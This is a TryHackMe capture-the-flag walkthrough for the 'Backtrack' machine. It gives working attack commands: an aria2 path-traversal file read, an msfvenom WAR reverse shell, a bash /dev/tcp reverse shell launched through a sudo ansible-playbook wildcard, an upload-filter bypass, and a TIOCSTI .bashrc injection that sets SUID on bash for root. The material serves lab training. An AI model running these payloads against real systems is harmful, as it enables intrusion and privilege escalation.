Post

Backtrack walkthrough

This is a medium level machine on TryHackMe. In oreder to gain root shell fist we will gain tomcat user shell using LFI and war file upload then laterally move using ansible-playbook to wilbur user then again using php file upload we will gain orville user shell then finally using ioctl terminal injection (TTY Pushback) we will get root access.


Enumeration

Starting with an nmap scan (all ports scan).

NMAP scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
kali@kali:~/Desktop/thm/backtrack$ nmap -sV -sC -vv -p- -Pn backtrack.thm                
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-15 07:43 IST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 07:43
Completed NSE at 07:43, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 07:43
Completed NSE at 07:43, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 07:43
Completed NSE at 07:43, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 07:43
Completed Parallel DNS resolution of 1 host. at 07:43, 0.01s elapsed
Initiating Connect Scan at 07:43
Scanning backtrack.thm [65535 ports]
Discovered open port 8888/tcp on backtrack.thm
Discovered open port 8080/tcp on backtrack.thm
Discovered open port 22/tcp on backtrack.thm
Connect Scan Timing: About 4.07% done; ETC: 07:56 (0:12:10 remaining)
Discovered open port 6800/tcp on backtrack.thm
Connect Scan Timing: About 96.27% done; ETC: 07:57 (0:00:31 remaining)
Completed Connect Scan at 07:57, 822.24s elapsed (65535 total ports)
Initiating Service scan at 07:57
Scanning 4 services on backtrack.thm
PORT     STATE SERVICE         REASON  VERSION
22/tcp   open  ssh             syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 55:41:5a:65:e3:d8:c2:4f:59:a1:68:b6:79:8a:e3:fb (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDzPMYVGNn9fk2sUO4qG8t3GP/3ztCkoIRFTSFwnaHtRTiIe8s3ulwJkAyTZHSmedBOMihmyWyEmA44uxY4kUZEiba8R+c7aWHjTvD04VcKWPgVg1URPWMTHyxUcwKGnoh8n6VwM283+/4f2g2GSj2pVbacoV3xfDo8L4PshyfHK7dEd2qnQv9Yge3p5Aw/1Q7w1eaMZnaoicgzDgjhvqrRcS/DRcp3Lwoz6fGQW2/vFxW7d5aisTslKxRPslTy/Vrgprb7I+D9kdGEFqW/DXDfZLo+4O0woecE6+qSYPbIAjvIao25MTR8xHOFR0sCtyVfehEXYxvJ0fsqBG4yp/y15eDT3MSYevdvhHH1ZLejV66zILbPqUhzFBuMW1U6PKvSNPiQdzlnIRpD8ZQN7KJI8Y6zlHgoh8iu7+PgcUQNixYrX1GhMCYwNGHQlLOLriVRzhScZV3ObH1V8+g8I2sc3WZ54G2XUqZX+pN3ugjN1L5mo8mht1m7ZME+W9if37U=
|   256 79:8a:12:64:cc:5c:d2:b7:38:dd:4f:07:76:4f:92:e2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJfVuy7uiXVmzWVPtY/BYF+RZF36ZR8rh7wxeZi7yeOdWd06henZf8z5rYfalc0YHr6kE3clVa0jq+pF64w/lso=
|   256 ce:e2:28:01:5f:0f:6a:77:df:1e:0a:79:df:9a:54:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHMk87a1jTdUzEWZNm/XtZKIto5reBlJr75kFdCKXscp
6800/tcp open  http            syn-ack aria2 downloader JSON-RPC
|_http-title: Site doesn't have a title.
| http-methods: 
|_  Supported Methods: OPTIONS
8080/tcp open  http            syn-ack Apache Tomcat 8.5.93
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: Apache Tomcat/8.5.93
|_http-favicon: Apache Tomcat
8888/tcp open  sun-answerbook? syn-ack
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Type: text/html
|     Date: Tue, 15 Oct 2024 02:27:47 GMT
|     Connection: close
|     <!doctype html>
|     <html>
|     <!-- } -->
|     <body ng-controller="MainCtrl" ng-cloak>
|_    <svg aria-hidden="true" style="position: absolute; width: 0; height: 0; overflow: hidden;" version="1.1" xm

We have 4 ports open:

  • 22 - SSH
  • 6800 - aria2 downloader JSON-RPC
  • 8080 - Apache Tomcat 8.5.93
  • 8888 - sun-answerbook [It may be not as there is ? at the end]

Port 6800

  • It is default port for aria2 RPC interface. Nothing interesting here.
  • For more detail visit: https://aria2.github.io/manual/en/html/aria2c.html#rpc-interface

Port 8888 (aria2 webUI)

  • After visiting the site it was clear that it is aria2 webUI.
  • Next lets explore and search for version or any vulns.
  • In settings > server info we found version also.

1.png

  • After a simple search we will find CVE-2023-39141 i.e LFI 2.png

Port 8080 (Apache Tomcat)

  • On port 8080 there is Apache Tomcat server running. 3.png
  • Tried default creds but no luck.

tomcat user shell

  • Using the LFI in aria2 we can enumerate username and password of tomcat then use it to upload our reverse shell in .war format.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
kali@kali:~/Desktop/thm/backtrack$ curl --path-as-is "http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:122:MySQL Server,,,:/nonexistent:/bin/false
tomcat:x:1002:1002::/opt/tomcat:/bin/false
orville:x:1003:1003::/home/orville:/bin/bash
wilbur:x:1004:1004::/home/wilbur:/bin/bash
  • From the /etc/passwd file we can conclude that tomcat is installed in opt directory.
  • So we can obtain username and password of tomcat by making a request on: curl --path-as-is "http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/tomcat-users.xml"
1
2
3
4
5
6
7
8
9
10
11
kali@kali:~/Desktop/thm/backtrack$ curl --path-as-is "http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/tomcat-users.xml"
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

  <role rolename="manager-script"/>
  <user username="tomcat" password="<REDACTED>" roles="manager-script"/>

</tomcat-users>

Now we can try to login to tomcat.

4.png

  • Maybe manager-script role doesn’t have access to HTML Gui
  • No worries we will upload through curl But first we will create a the payload using msfvenom
1
2
3
kali@kali:~/Desktop/thm/backtrack$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.17.16.32 LPORT=9001 -f war > initial.war
Payload size: 1098 bytes
Final size of war file: 1098 bytes

Now lets upload the payload

1
2
kali@kali:~/Desktop/thm/backtrack$ curl --upload-file initial.war -u 'tomcat:<REDACTED>' "http://backtrack.thm:8080/manager/text/deploy?path=/initial"
OK - Deployed application at context path [/initial]

Lets take tomcat user shell

  • Start the listener and visit http://backtrack.thm:8080/initial to get the shell
1
2
3
4
5
6
7
8
9
10
11
12
kali@kali:~/Desktop/thm/backtrack$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.17.16.32] from (UNKNOWN) [10.10.164.78] 44718
python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@Backtrack:/$ ^Z
zsh: suspended  nc -lnvp 9001
                                                                            
kali@kali:~/Desktop/thm/backtrack$ stty raw -echo; fg              
[1]  + continued  nc -lnvp 9001
                               export TERM=xterm
tomcat@Backtrack:/$ 

python3 -c "import pty;pty.spawn('/bin/bash')" then CTRL+Z then stty raw -echo; fg then export TERM=xterm is to stabilize the shell.

FLAG 1

1
2
3
4
5
6
7
8
tomcat@Backtrack:/$ cd ~
tomcat@Backtrack:~$ ls
BUILDING.txt     NOTICE         RUNNING.txt  flag1.txt  temp
CONTRIBUTING.md  README.md      bin          lib        webapps
LICENSE          RELEASE-NOTES  conf         logs       work
tomcat@Backtrack:~$ cat flag1.txt 
THM{<REDACTED>}
tomcat@Backtrack:~$ 

wilbur user shell

1
2
3
4
5
6
7
tomcat@Backtrack:~$ sudo -l
Matching Defaults entries for tomcat on Backtrack:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tomcat may run the following commands on Backtrack:
    (wilbur) NOPASSWD: /usr/bin/ansible-playbook /opt/test_playbooks/*.yml
  • tomcat user can run /usr/bin/ansible-playbook /opt/test_playbooks/*.yml this command as wilbur without password
  • We dont have write access to the test_playbooks directory but there is wildcard (*) we can use to run yml file from anywhere.

First lets create files to run in /tmp directory

1
2
3
4
- hosts: localhost
  tasks:
    - name: RShell
      command: /tmp/wilbur.sh
  • Contents of wilbur.yml
1
2
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.17.16.32/443 0>&1
  • Contents of wilbur.sh

Then give them perms to be executed by any user (in other words give them all perms) chmod 777 wilbur.yml wilbur.sh

1
2
3
4
5
6
7
8
9
10
11
tomcat@Backtrack:/tmp$ sudo -u wilbur /usr/bin/ansible-playbook /opt/test_playbooks/../../tmp/wilbur.yml 

.......

PLAY [localhost] ***************************************************************

TASK [Gathering Facts] *********************************************************
ok: [localhost]

TASK [RShell] ******************************************************************

  • Here wilcard(*) represents ../../tmp/wilbur and rest all is same so no password was asked.
1
2
3
4
5
6
7
8
9
10
11
12
13
kali@kali:~/Desktop/thm/backtrack$ nc -lnvp 443 
listening on [any] 443 ...
connect to [10.17.16.32] from (UNKNOWN) [10.10.164.78] 32836
wilbur@Backtrack:/tmp$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
wilbur@Backtrack:/tmp$ ^Z
zsh: suspended  nc -lnvp 443
                                                                            
kali@kali:~/Desktop/thm/backtrack$ fix
[1]  + continued  nc -lnvp 443
                              export TERM=xterm
wilbur@Backtrack:/tmp$ cd ~
wilbur@Backtrack:~$ 

orville user shell

Here we find wilbur user SSH creds , we will use this to get more stable shell.

1
2
3
4
5
6
7
8
wilbur@Backtrack:~$ ls -a
.   .ansible       .bashrc            .mysql_history  from_orville.txt
..  .bash_history  .just_in_case.txt  .profile
wilbur@Backtrack:~$ cat .just_in_case.txt 
in case i forget :

wilbur:<REDACTED>
wilbur@Backtrack:~$ 

There was a file named from_orville.txt in the wilbur’s home directory

1
2
3
4
5
6
wilbur@Backtrack:~$ cat from_orville.txt 
Hey Wilbur, it's Orville. I just finished developing the image gallery web app I told you about last week, and it works just fine. However, I'd like you to test it yourself to see if everything works and secure.
I've started the app locally so you can access it from here. I've disabled registrations for now because it's still in the testing phase. Here are the credentials you can use to log in:

email : orville@backtrack.thm
password : <REDACTED>

This suggests that there is a gallary app web server running locally and its emain and password is also given. So lets forward tje port to our local machine and see what is it.

1
kali@kali:~/Desktop/thm/backtrack$ ssh -L 80:127.0.0.1:80 wilbur@backtrack.thm

Now lets try to exploit this webapp.

  • After trying a little bit the filter to upload only jpg, png etc files can be bypassed by filename *.png.php
  • But there is another problem all the files that are in /uploads directory are downloading even php file is also downloading.
  • So we have to try to upload file in root directory i.e. /
  • When using ../ it filters it and removes it even URL-ecoded value of it is also being filtered but using DOUBLE url encode (%252E%252E%252F) bypassed it.

5.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
kali@kali:~/Desktop/thm/backtrack$ nc -lnvp 6666
listening on [any] 6666 ...
connect to [10.17.16.32] from (UNKNOWN) [10.10.164.78] 37390
Linux Backtrack 5.4.0-173-generic #191-Ubuntu SMP Fri Feb 2 13:55:07 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 07:48:01 up  1:56,  2 users,  load average: 0.03, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
wilbur   pts/0    10.17.16.32      07:25   22:25   0.02s  0.02s -bash
wilbur   pts/3    10.17.16.32      07:09   23:03   0.03s  0.03s -bash
uid=1003(orville) gid=1003(orville) groups=1003(orville)
bash: cannot set terminal process group (548): Inappropriate ioctl for device
bash: no job control in this shell
orville@Backtrack:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
orville@Backtrack:/$ ^Z
zsh: suspended  nc -lnvp 6666
                                                                            
kali@kali:~/Desktop/thm/backtrack$ fix
[1]  + continued  nc -lnvp 6666
                               export TERM=xterm
orville@Backtrack:/$ 

FLAG 2

1
2
3
4
orville@Backtrack:/$ cd ~
orville@Backtrack:/home/orville$ cat flag2.txt 
THM{<REDACTED>}
orville@Backtrack:/home/orville$

root shell

  • After spending a lot of time in orville user shell i downloaded pspy64 to look at processes running.
1
2
3
4
5
6
7
8
9
10
11
12
orville@Backtrack:/home/orville$ wget http://10.17.16.32:8000/pspy64
--2024-10-15 07:57:02--  http://10.17.16.32:8000/pspy64
Connecting to 10.17.16.32:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.96M  1.60MB/s    in 1.8s    

2024-10-15 07:57:04 (1.60 MB/s) - ‘pspy64’ saved [3104768/3104768]

orville@Backtrack:/home/orville$ chmod +x pspy64 

In the processes there was something odd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2024/10/13 08:14:03 CMD: UID=0     PID=21807  | /bin/sh /usr/bin/lesspipe 
2024/10/13 08:14:03 CMD: UID=0     PID=21809  | /bin/sh /usr/bin/lesspipe 
2024/10/13 08:14:03 CMD: UID=0     PID=21808  | /bin/sh /usr/bin/lesspipe 
2024/10/13 08:14:03 CMD: UID=0     PID=21810  | -bash 
2024/10/13 08:14:03 CMD: UID=0     PID=21811  | -bash 
2024/10/13 08:14:03 CMD: UID=0     PID=21812  | -bash 
2024/10/13 08:14:04 CMD: UID=1003  PID=21813  | su - orville 
2024/10/13 08:14:04 CMD: UID=1003  PID=21814  | -bash 
2024/10/13 08:14:04 CMD: UID=1003  PID=21815  | -bash 
2024/10/13 08:14:04 CMD: UID=1003  PID=21817  | -bash 
2024/10/13 08:14:04 CMD: UID=1003  PID=21816  | -bash 
2024/10/13 08:14:04 CMD: UID=1003  PID=21818  | -bash 
2024/10/13 08:14:04 CMD: UID=1003  PID=21819  | /bin/sh /usr/bin/lesspipe 
2024/10/13 08:14:04 CMD: UID=1003  PID=21821  | dirname /usr/bin/lesspipe 
2024/10/13 08:14:04 CMD: UID=1003  PID=21820  | /bin/sh /usr/bin/lesspipe 
2024/10/13 08:14:06 CMD: UID=1003  PID=21823  | -bash 

Before su - orville every process is running as root. So we can assume that root user has done su - orville and after googling a little bit i found this : https://www.errno.fr/TTYPushback.html

Following the instructions in that post i created a python file in orville’s home directory

1
2
3
4
5
6
7
8
9
10
11
12
13
orville@Backtrack:/home/orville$ cat root.py 
#!/usr/bin/env python3
import fcntl
import termios
import os
import sys
import signal

os.kill(os.getppid(), signal.SIGSTOP)

for char in sys.argv[1] + '\n':
    fcntl.ioctl(0, termios.TIOCSTI, char)
orville@Backtrack:/home/orville$ echo '/home/orville/root.py "chmod +s /bin/bash"' >> .bashrc

when using - with su it simulates normal login i.e. .bashrc wioll also get executed from the orville user which is originally root and in the argument we wrote chmod +s /bin/bash i.e. SUID bit of root will be given to /bin/bash. Which means irrespective of the user who runs /bin/bash it will always be executed by root

1
2
3
4
5
orville@Backtrack:/home/orville$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
orville@Backtrack:/home/orville$ /bin/bash -p
bash-5.0# id
uid=1003(orville) gid=1003(orville) euid=0(root) egid=0(root) groups=0(root),1003(orville)

FLAG 3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bash-5.0# cd /root
bash-5.0# ls
flag3.txt  manage.py  snap
bash-5.0# cat flag3.txt

██████╗░░█████╗░░█████╗░██╗░░██╗████████╗██████╗░░█████╗░░█████╗░██╗░░██╗
██╔══██╗██╔══██╗██╔══██╗██║░██╔╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░██╔╝
██████╦╝███████║██║░░╚═╝█████═╝░░░░██║░░░██████╔╝███████║██║░░╚═╝█████═╝░
██╔══██╗██╔══██║██║░░██╗██╔═██╗░░░░██║░░░██╔══██╗██╔══██║██║░░██╗██╔═██╗░
██████╦╝██║░░██║╚█████╔╝██║░╚██╗░░░██║░░░██║░░██║██║░░██║╚█████╔╝██║░╚██╗
╚═════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

THM{<REDACTED>}
bash-5.0# 

Contents of manage.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import paramiko
import time

def ssh_and_execute_command():
    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect("localhost", username="root", password="<REDACTED>")

        chan = ssh.get_transport().open_session()
        chan.get_pty()
        chan.invoke_shell()


        chan.send(b'su - orville\n')
        time.sleep(3)

        chan.send(b'zip -q -r /home/orville/web_snapshot.zip /var/www/html/*\n')
        time.sleep(5)

        chan.send(b'chmod 700 /home/orville/web_snapshot.zip\n')
        time.sleep(5)

        chan.send(b'exit\n')
        time.sleep(2)

        chan.close()
        ssh.close()

    except Exception as e:
        print(f"An error occurred: {str(e)}")

ssh_and_execute_command()
This post is licensed under CC BY 4.0 by the author.